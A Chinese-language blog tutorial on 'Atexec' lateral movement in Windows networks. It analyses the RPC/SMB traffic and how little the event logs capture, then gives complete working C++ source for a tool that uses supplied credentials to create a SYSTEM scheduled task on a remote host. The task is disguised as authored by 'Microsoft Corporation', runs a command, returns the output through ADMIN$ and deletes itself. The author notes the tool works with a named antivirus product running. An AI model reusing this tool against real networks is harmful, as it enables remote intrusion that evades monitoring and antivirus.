0x01 Atexec,一种横向方式

Atexec是一个除了Psexec以外,被高频使用的横向方式,该技术手段主要通过任务计划实现,与时间有关。

Atexec的主要特点是通过135端口进行任务计划任务的创建,同时通过445端口进行SMB认证,取回命令执行的结果。

0x02 执行过程

首先,我们用成品来进行一次命令执行:

2020-06-28-22-03-13

执行完成,能够看到whoami的结果是SYSTEM权限,通过流量上分析:

2020-06-28-22-03-27

首先,源主机192.168.164.1向目标主机192.168.164.140的135端口建立连接,由于是RPC协议,所以会进行一次端口随机的协商,于是源主机端口变成57523,目标主机源端口变成49154,这使得流量设备在数据传输上不能轻易的监控传输内容。

2020-06-28-22-03-40

紧接着,源主机向目标主机进行SMB认证,完成文件的读取(命令执行结果),最终断开连接。

在操作系统的事件查看器中,(默认情况下)仅仅捕获了几条Windows认证的日志,关于服务、文件操作、应用程序等都没有相关日志。

2020-06-28-22-03-53

0x03 实现过程

要实现一个Atexec并不难,首先需要梳理一下实现思路,第一步需要根据提供的凭证创建任务计划,然后程序等待任务计划完成后,获取任务计划的执行结果。

如何远程创建任务计划?

这里主要涉及到COM组件的操作,我用封装函数的方式来实现使得程序可读性变高。

使用凭证连接远程主机的任务计划接口:

BOOL ConnectTaskServer(LPCWSTR lpwsHost, LPCWSTR lpwDomain,LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
	// 初始化COM组件
	hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
	// 设置组件安全等级
	hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
	// 创建任务服务容器
	hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
	// 连接目标服务器为远程连接或本地服务器
	hr = pService->Connect(_variant_t(lpwsHost), _variant_t(lpwsUserName), _variant_t(lpwDomain), _variant_t(lpwsPassword));	//默认本地
	if (FAILED(hr))
	{
		printf("ITaskService::Connect failed: %x \n", hr);
		
		pService->Release();
		CoUninitialize();
		return FALSE;
	}
	return TRUE;
}

Task Scheduler提供了许多函数及接口来操作任务计划,但是凡是涉及COM组件的操作,都变得有些复杂,但至少实现Atexec涉及到的知识点并不多。

如何创建任务计划:

这里主要是利用COM对象的接口函数来创建触发器、设置触发时间、执行频次等。

BOOL CreatTask(LPCWSTR wTaskName, LPCWSTR wCommand, LPCWSTR wOutPutPath) {
	std::wstring CurrentTime;
	std::wstring CommandArgs(TEXT("/c "));
	CommandArgs.append(wCommand);
	CommandArgs.append(TEXT(" >"));
	CommandArgs.append(wOutPutPath);

	wstring wstrExePath(TEXT("C:\\Windows\\System32\\cmd.exe"));
	
	// 获取任务文件夹并在其中创建任务
	pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\AppID"), &pRootFolder);
	// 如果存在同名任务,删除它
	pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);

	// 使用ITaskDefinition对象定义任务相关信息
	ITaskDefinition* pTask = NULL;
	pService->NewTask(0, &pTask);

	// 使用IRegistrationInfo对象对任务的基础信息填充
	IRegistrationInfo* pRegInfo = NULL;
	pTask->get_RegistrationInfo(&pRegInfo);
	pRegInfo->put_Author(_bstr_t(L"Microsoft Corporation"));

	// 创建任务的安全凭证
	IPrincipal* pPrincipal = NULL;
	pTask->get_Principal(&pPrincipal);

	// 设置规则为交互式登录
	pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
  // 指定执行用户
	pPrincipal->put_UserId(_bstr_t(L"NT AUTHORITY\\SYSTEM"));

	// 创建任务的设置信息
	ITaskSettings* pTaskSettings = NULL;
	pTask->get_Settings(&pTaskSettings);
	// 为设置信息赋值
	pTaskSettings->put_StartWhenAvailable(VARIANT_TRUE);
	// 设置任务的idle设置
	IIdleSettings* pIdleSettings = NULL;
	pTaskSettings->get_IdleSettings(&pIdleSettings);
	pIdleSettings->put_WaitTimeout(_bstr_t(L"PT1M"));

	//创建触发器
	ITriggerCollection* pTriggerCollection = NULL;
	pTask->get_Triggers(&pTriggerCollection);
	ITrigger* pTrigger = NULL;

	hr = pTriggerCollection->Create(TASK_TRIGGER_TIME, &pTrigger);
	if (FAILED(hr))
	{
		printf("\nCannot create the trigger: %x", hr);
		pRootFolder->Release();
		pTask->Release();
		CoUninitialize();
		return FALSE;
	}
	// 设置时间触发器
	ITimeTrigger* pTimeTrigger = NULL;
	pTrigger->QueryInterface(IID_ITimeTrigger, (void**)&pTimeTrigger);
	pTimeTrigger->put_Id(_bstr_t(L"Trigger2"));
	CurrentTime = GetTime();
	// 在10秒后执行
	pTimeTrigger->put_StartBoundary(_bstr_t(CurrentTime.data()));
	pTimeTrigger->put_EndBoundary(_bstr_t(L"2089-03-26T13:00:00"));
	// 创建任务动作
	IActionCollection* pActionCollection = NULL;
	pTask->get_Actions(&pActionCollection);
	IAction* pAction = NULL;
	pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
	IExecAction* pExecAction = NULL;
	// 出入执行命令及参数
	pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
	pExecAction->put_Path(_bstr_t(wstrExePath.c_str()));
	pExecAction->put_Arguments(_bstr_t(CommandArgs.data()));

	IRegisteredTask* pRegistredTask = NULL;
	pRootFolder->RegisterTaskDefinition(_bstr_t(wTaskName), pTask, TASK_CREATE_OR_UPDATE,
		_variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &pRegistredTask);
	Sleep(10 * 1000);
	// 结束时删除任务
	pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);
	pRootFolder->Release();
	pService->Release();
	CoUninitialize();
	return TRUE;
}

// 获取未来10秒后的时间
std::wstring GetTime() {
	WCHAR CurrentTime[100];
	SYSTEMTIME sys;
	GetLocalTime(&sys);
	sys.wSecond += 10;
	if (sys.wSecond >= 60) {
		sys.wMinute++;
		sys.wSecond -= 60;
	}
	wsprintf(CurrentTime, TEXT("%4d-%02d-%02dT%02d:%02d:%02d"), sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);
	std::wstring returnTime(CurrentTime);
	std::wcout << returnTime << std::endl;
	return returnTime;
}

可以看到,这个函数中针对每个任务创建完成后,等待了大约10s来确保任务计划命令执行完毕,这就是我实现这个Atexec的一个缺点,其实还有更好的办法,就是每隔1s查询该任务计划的状态来确保任务计划执行。

如何获得执行结果?

这里我主要采用的是cmd /c command > 重定向到文件的方式,涉及到了SMB服务的连接、文件读取操作,这个和之前如何实现一个Psexec文中的内容有些相似。

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword)
{
	// 用于存放SMB共享资源格式
	PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
	DWORD dwRetVal; // 函数返回值
	NETRESOURCE nr; // 连接的详细信息
	DWORD dwFlags; // 连接选项

	ZeroMemory(&nr, sizeof(NETRESOURCE));
	swprintf(lpwsIPC, TEXT("\\\\%s\\admin$"), lpwsHost);
	nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
	nr.lpLocalName = NULL;
	nr.lpRemoteName = lpwsIPC; // 资源的网络名
	nr.lpProvider = NULL;

	// 如果设置了此位标志,则操作系统将在用户登录时自动尝试恢复连接。
	dwFlags = CONNECT_UPDATE_PROFILE;

	dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
	if (dwRetVal == NO_ERROR) {
		// 返回NO_ERROR则成功
		// wprintf(L"Connection added to %s\n", nr.lpRemoteName);
		return dwRetVal;
	}

	wprintf(L"WNetAddConnection2 failed with error: %u\n", dwRetVal);
	return -1;
}

BOOL GetSMBServerFileContent(LPCWSTR lpwsDstPath) {
	DWORD dwFileSize = 0;
	PCHAR readBuf = NULL;
	DWORD dwReaded = 0;
	BOOL bRet = TRUE;
	HANDLE hFile = CreateFile(lpwsDstPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		wprintf(TEXT("Can't Read File : %s \n"), lpwsDstPath);
		return FALSE;
	}
	// 获取文件大小
	dwFileSize = GetFileSize(hFile, NULL);
	readBuf = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
	ReadFile(hFile, readBuf, dwFileSize, &dwReaded, NULL);
	wprintf(TEXT("===========================\n"));
	printf("%s", readBuf);
	CloseHandle(hFile);
	HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, readBuf);
	wprintf(TEXT("\n===========================\n"));
	return TRUE;
}

这里默认主要是将命令执行结果写入了ADMIN$共享目录下,当然还可以更改为其他的。

0x04 Atexec完整代码

#define _WIN32_DCOM
#define _CRT_SECURE_NO_WARNINGS   // 忽略老版本函数所提示的安全问题
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <comdef.h>
#include <string>
#include <time.h>
#include <taskschd.h>
#include <winnetwk.h>

#pragma comment(lib,"taskschd.lib")
#pragma comment(lib,"comsupp.lib")
#pragma comment(lib, "ws2_32")   
#pragma comment(lib, "Mpr.lib")
#pragma comment(lib,"Advapi32.lib")

using namespace std;

ITaskService* pService = NULL;
ITaskFolder* pRootFolder = NULL;
HRESULT hr = NULL;

BOOL ConnectTaskServer(LPCWSTR lpwsHost, LPCWSTR lpwDomain,LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
	// 初始化COM组件
	hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
	// 设置组件安全等级
	hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
	// 创建任务服务容器
	hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
	// 连接目标服务器为远程连接或本地服务器
	hr = pService->Connect(_variant_t(lpwsHost), _variant_t(lpwsUserName), _variant_t(lpwDomain), _variant_t(lpwsPassword));	//默认本地
	if (FAILED(hr))
	{
		printf("ITaskService::Connect failed: %x \n", hr);
		
		pService->Release();
		CoUninitialize();
		return FALSE;
	}
	return TRUE;
}

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword)
{
	// 用于存放SMB共享资源格式
	PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
	DWORD dwRetVal; // 函数返回值
	NETRESOURCE nr; // 连接的详细信息
	DWORD dwFlags; // 连接选项

	ZeroMemory(&nr, sizeof(NETRESOURCE));
	swprintf(lpwsIPC, TEXT("\\\\%s\\admin$"), lpwsHost);
	nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
	nr.lpLocalName = NULL;
	nr.lpRemoteName = lpwsIPC; // 资源的网络名
	nr.lpProvider = NULL;

	// 如果设置了此位标志,则操作系统将在用户登录时自动尝试恢复连接。
	dwFlags = CONNECT_UPDATE_PROFILE;

	dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
	if (dwRetVal == NO_ERROR) {
		// 返回NO_ERROR则成功
		// wprintf(L"Connection added to %s\n", nr.lpRemoteName);
		return dwRetVal;
	}

	wprintf(L"WNetAddConnection2 failed with error: %u\n", dwRetVal);
	return -1;
}

BOOL GetSMBServerFileContent(LPCWSTR lpwsDstPath) {
	DWORD dwFileSize = 0;
	PCHAR readBuf = NULL;
	DWORD dwReaded = 0;
	BOOL bRet = TRUE;
	HANDLE hFile = CreateFile(lpwsDstPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		wprintf(TEXT("Can't Read File : %s \n"), lpwsDstPath);
		return FALSE;
	}
	// 获取文件大小
	dwFileSize = GetFileSize(hFile, NULL);
	readBuf = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
	ReadFile(hFile, readBuf, dwFileSize, &dwReaded, NULL);
	wprintf(TEXT("===========================\n"));
	printf("%s", readBuf);
	CloseHandle(hFile);
	HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, readBuf);
	wprintf(TEXT("\n===========================\n"));
	return TRUE;
}

// 获取未来10秒后的时间
std::wstring GetTime() {
	WCHAR CurrentTime[100];
	SYSTEMTIME sys;
	GetLocalTime(&sys);
	sys.wSecond += 10;
	if (sys.wSecond >= 60) {
		sys.wMinute++;
		sys.wSecond -= 60;
	}
	wsprintf(CurrentTime, TEXT("%4d-%02d-%02dT%02d:%02d:%02d"), sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);
	std::wstring returnTime(CurrentTime);
	std::wcout << returnTime << std::endl;
	return returnTime;
}

BOOL CreatTask(LPCWSTR wTaskName, LPCWSTR wCommand, LPCWSTR wOutPutPath) {
	std::wstring CurrentTime;
	std::wstring CommandArgs(TEXT("/c "));
	CommandArgs.append(wCommand);
	CommandArgs.append(TEXT(" >"));
	CommandArgs.append(wOutPutPath);

	wstring wstrExePath(TEXT("C:\\Windows\\System32\\cmd.exe"));
	
	// 获取任务文件夹并在其中创建任务
	pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\AppID"), &pRootFolder);
	// 如果存在同名任务,删除它
	pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);

	// 使用ITaskDefinition对象定义任务相关信息
	ITaskDefinition* pTask = NULL;
	pService->NewTask(0, &pTask);

	// 使用IRegistrationInfo对象对任务的基础信息填充
	IRegistrationInfo* pRegInfo = NULL;
	pTask->get_RegistrationInfo(&pRegInfo);
	pRegInfo->put_Author(_bstr_t(L"Microsoft Corporation"));

	// 创建任务的安全凭证
	IPrincipal* pPrincipal = NULL;
	pTask->get_Principal(&pPrincipal);

	// 设置规则为交互式登录
	pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);

	pPrincipal->put_UserId(_bstr_t(L"NT AUTHORITY\\SYSTEM"));

	// 创建任务的设置信息
	ITaskSettings* pTaskSettings = NULL;
	pTask->get_Settings(&pTaskSettings);
	// 为设置信息赋值
	pTaskSettings->put_StartWhenAvailable(VARIANT_TRUE);
	// 设置任务的idle设置
	IIdleSettings* pIdleSettings = NULL;
	pTaskSettings->get_IdleSettings(&pIdleSettings);
	pIdleSettings->put_WaitTimeout(_bstr_t(L"PT1M"));

	//创建触发器
	ITriggerCollection* pTriggerCollection = NULL;
	pTask->get_Triggers(&pTriggerCollection);
	ITrigger* pTrigger = NULL;

	hr = pTriggerCollection->Create(TASK_TRIGGER_TIME, &pTrigger);
	if (FAILED(hr))
	{
		printf("\nCannot create the trigger: %x", hr);
		pRootFolder->Release();
		pTask->Release();
		CoUninitialize();
		return FALSE;
	}
	// 设置时间触发器
	ITimeTrigger* pTimeTrigger = NULL;
	pTrigger->QueryInterface(IID_ITimeTrigger, (void**)&pTimeTrigger);
	pTimeTrigger->put_Id(_bstr_t(L"Trigger2"));
	CurrentTime = GetTime();
	// 在10秒后执行
	pTimeTrigger->put_StartBoundary(_bstr_t(CurrentTime.data()));
	pTimeTrigger->put_EndBoundary(_bstr_t(L"2089-03-26T13:00:00"));
	// 创建任务动作
	IActionCollection* pActionCollection = NULL;
	pTask->get_Actions(&pActionCollection);
	IAction* pAction = NULL;
	pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
	IExecAction* pExecAction = NULL;
	// 出入执行命令及参数
	pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
	pExecAction->put_Path(_bstr_t(wstrExePath.c_str()));
	pExecAction->put_Arguments(_bstr_t(CommandArgs.data()));

	IRegisteredTask* pRegistredTask = NULL;
	pRootFolder->RegisterTaskDefinition(_bstr_t(wTaskName), pTask, TASK_CREATE_OR_UPDATE,
		_variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &pRegistredTask);
	Sleep(10 * 1000);
	// 结束时删除任务
	pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);
	pRootFolder->Release();
	pService->Release();
	CoUninitialize();
	return TRUE;
}

int _cdecl wmain(int argc, wchar_t* argv[]) {
	BOOL bRetVal = FALSE;
	WCHAR wsTaskName[] = TEXT("TestBody");
	LPCWSTR lpwDomain = NULL;
	if (argc < 5) {
		wprintf(TEXT("atexec.exe <Host> <Username> <Password> <Command> [Domain] \n"));
		wprintf(TEXT("Usage: \n"));
		wprintf(TEXT("atexec.exe 192.168.3.130 Administrator 123456 whoami SYS.LOCAL\n"));
		wprintf(TEXT("atexec.exe 192.168.3.130 Administrator 123456 whoami\n"));
		return 0;
	}
	if (argc == 6) {
		lpwDomain = argv[5]; // 域名
	}
	LPCWSTR wsCommand = argv[4]; // 执行命令
	LPCWSTR lpwsHost = argv[1]; // 目标机器地址
	LPCWSTR lpwsUserName = argv[2]; // 账号
	LPCWSTR lpwsPassword = argv[3]; // 密码
	std::wstring wsHostFile;
	WCHAR wsOutPutPath[] = TEXT("C:\\Windows\\RunTime.log");
	wsHostFile.append(TEXT("\\\\"));
	wsHostFile.append(lpwsHost);
	wsHostFile.append(TEXT("\\admin$\\RunTime.log"));
	// 连接任务计划
	bRetVal = ConnectTaskServer(lpwsHost, NULL, lpwsUserName, lpwsPassword);
	if (!bRetVal) {
		return -1;
	}

	bRetVal = CreatTask(wsTaskName, wsCommand, wsOutPutPath);
	if (!bRetVal) {
		return -1;
	}
	// 连接目标服务器SMB
	if (ConnectSMBServer(lpwsHost, lpwsUserName, lpwsPassword) == 0) {
		// 连接成功
		GetSMBServerFileContent(wsHostFile.data());
	}
	else {
		std::wcout << TEXT("Can't Connect to ") << lpwsHost << std::endl;
	}

	return 0;
}

0x05 其他Atexec

impacket-atexec.py 是基于impacket库实现了MS-TSCH协议(只走445端口)来进行横向的脚本。

在我测试的过程中,Windows Server 2008上安装了360安全卫士后,横向无法取回结果,关闭360安全卫士后,成功执行,但我自己写的atexec就能够在360安全卫士开启的状态下完成命令执行、命令结果取回。

2020-06-28-22-04-33